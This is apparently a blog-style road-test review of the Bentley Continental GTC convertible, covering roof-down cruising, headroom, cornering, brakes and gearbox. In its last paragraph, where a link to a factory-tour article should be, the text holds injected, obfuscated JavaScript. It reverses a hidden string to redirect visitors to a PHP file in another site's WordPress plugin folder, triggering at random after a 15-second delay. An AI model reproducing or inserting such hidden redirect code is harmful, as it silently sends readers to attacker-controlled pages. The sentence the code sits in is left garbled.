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Regrettably our opening stint is completed with the roof up, since some dark clouds have strayed in from nowhere and rendered our sunglasses obsolete for the time being. This rather unfortunately highlights a couple of niggling issues with the GTC, the first of which is visibility. The vast windscreen and frameless doors make seeing out very easy, though a slightly larger rear window would be preferable. Similarly, copious amounts of canvas where the C-pillars normally are does make changing direction in heavier traffic a little more nerve-wracking than I’d like it.
The main issue I’m having though is with headroom. Legroom may be good but with the roof down and my seat in the lowest setting, there isn’t a lot of room above the bonce for my six-foot plus frame to play with, and there’s a similar story for the people in the back. Couple this with only moderate boot space, and four fully-grown adults may become a touch restless on long journeys or weeklong breaks.
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It is when blue skies return though and the retractable roof goes down – which, by the by, can be done in just 25s and at up to 30kph – where the GTC plays its trump card. Cruising through the English countryside in an iconic British vehicle, enjoying the wind in our hair, the sun on our faces and the operatic tones reverberating from exhaust valves is a priceless experience. There’s an almost tangible sense of…Englishness.
Appropriately, our drive takes us through a few small hamlets, wherein the Bentley’s presence once again encourages an appreciative glance or two. The GTC even – and I’ve never experienced this before – inspired a chant from some of the local school kids: “BENT-LEY!” [Clap, clap, clap] “BENT-LEY! “[Clap, clap, clap].
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This, if I’m being honest is what I’ve been waiting for. Certainly the Continental GTC, as the 567bhp has already demonstrated, has its brutish tendencies. But that’s not what characterizes the convertible. There’s civility and a sense of adventure. The feel through the wheel, coupled with the comfort in which this is done, epitomizes what a Sunday afternoon drive down winding English backroads should be about. Very rarely , for example, are these completed at break-neck speed. Indeed, pushing the GTC to the limit will not get the best from the car.
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The luxuries on tap – including satnav and optional extras like the heated steering wheel and matching Linen boot carpet – means the GTC is still a heavy car, try as Bentley has to keep the weight down. Push the Continental deep into a corner and this becomes immediately obvious, the front Pirellis more often than not washing wide, a hint of bodyroll simultaneously poking its nose above the parapet. One can swap from Comfort to Sport suspension settings true, but this won’t produce a magic fix. Fair’s fair though, the steering is hefty and responsive, allowing you to at least place the front wheels where you want them for a fair crack at a corner.
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Acceleration is linear and unhesitant, but noticeable lag in the lower revs means exiting corners whilst ‘on it’ may stunt your momentum. Similarly the brake pedal, being a bit stiffer than ideal, makes finding the sweet spot rather difficult. Throw out the anchor though and the response is impressive. Gear changes, whether in full automatic or through the solidly made paddle shift gearbox, are silky smooth and responsive.
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It’s after the aforementioned energetic driving – during most of which my father’s grip on his door handle has been getting steadily tighter – that I throttle back a bit. It all seems so unnecessary. Indeed, throwing the big Bentley into corners as hard as I dare has just felt wrong. The dynamics of the car are there, but are designed to be coerced rather than shaken by the throat. Find that balance between speed and comfort, and you’ll sink much more comfortably into your leather seat, still with the wind whistling through your hair.
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After a couple of hours, our halfway point at Stoneyhurst College hoves into view, and the plentiful green landscape surrounding the building seems a fitting place as any for both my father and I to grab some more pics. Certainly the GTC has proven a big hit over the last few days, with family, friends and even passers-by. Tomorrow my time with the Continental comes to an end, though that’s not the end of my Bentley adventures. There’s still $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/bentley-factory-tour-travel-blog-an-education/” target=”_blank”>the factory tour at the marque’s Crewe headquarters to come.
– My thanks to Jodie Davies, Lisa Cooper and Bentley Motors.
